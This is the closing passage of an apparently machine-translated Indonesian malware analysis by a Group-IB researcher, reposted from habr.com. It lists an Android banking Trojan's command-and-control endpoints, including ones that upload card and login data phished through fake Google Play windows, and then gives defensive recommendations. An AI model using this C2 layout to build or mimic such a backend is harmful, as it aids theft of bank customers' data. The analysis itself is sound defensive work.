  • http://<%CnC%>/api/v1/aevents.php – permintaan dibuat saat memperbarui parameter di file preferensi.
  • http://<%CnC%>/api/v1/set_card.php - mengunggah data yang diperoleh menggunakan jendela phishing yang menyamar sebagai Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – membongkar data log.
  • http://<%CnC%>/api/v1/records.php – mengunggah data yang diperoleh menggunakan jendela phishing.
  • http://<%CnC%>/api/v1/set_error.php – pemberitahuan kesalahan.

Rekomendasi

Untuk melindungi pelanggan mereka dari ancaman Trojan seluler, perusahaan harus menggunakan solusi komprehensif yang memungkinkan, tanpa menginstal perangkat lunak tambahan pada perangkat pengguna, untuk memantau dan mencegah aktivitas berbahaya.

Untuk melakukan hal ini, metode berbasis tanda tangan untuk mendeteksi Trojan seluler perlu ditingkatkan dengan teknologi untuk menganalisis perilaku klien dan aplikasi itu sendiri. Selain itu, perlindungan harus mencakup fungsi mengidentifikasi perangkat menggunakan teknologi sidik jari digital, yang memungkinkan untuk memahami kapan suatu akun digunakan dari perangkat yang tidak biasa dan telah jatuh ke tangan penipu.

Poin penting yang mendasar adalah kemungkinan analisis lintas saluran, yang memungkinkan perusahaan untuk mengendalikan risiko yang timbul tidak hanya di sisi Internet, tetapi juga saluran seluler, misalnya, dalam aplikasi mobile banking, untuk transaksi dengan kripto. -mata uang dan lainnya di mana transaksi keuangan dapat dilakukan.

Aturan keamanan untuk pengguna:

  • Jangan memasang aplikasi untuk perangkat seluler dengan OS Android Jika mengunduh dari sumber selain Google Play, perhatikan baik-baik hak akses yang diminta oleh aplikasi tersebut;
  • Instal pembaruan OS secara teratur. Android;
  • perhatikan ekstensi file yang diunggah;
  • jangan mengunjungi sumber daya yang mencurigakan;
  • Jangan klik tautan yang diterima dalam pesan SMS.

Dibintangi Semyon Rogachev, Peneliti Kode Berbahaya Asosiasi, Lab Forensik Komputer Grup-IB.

Sumber: www.habr.com

Beli hosting yang andal untuk situs dengan perlindungan DDoS, server VPS VDS 🔥 Beli hosting website andal dengan perlindungan DDoS, server VPS VDS | ProHoster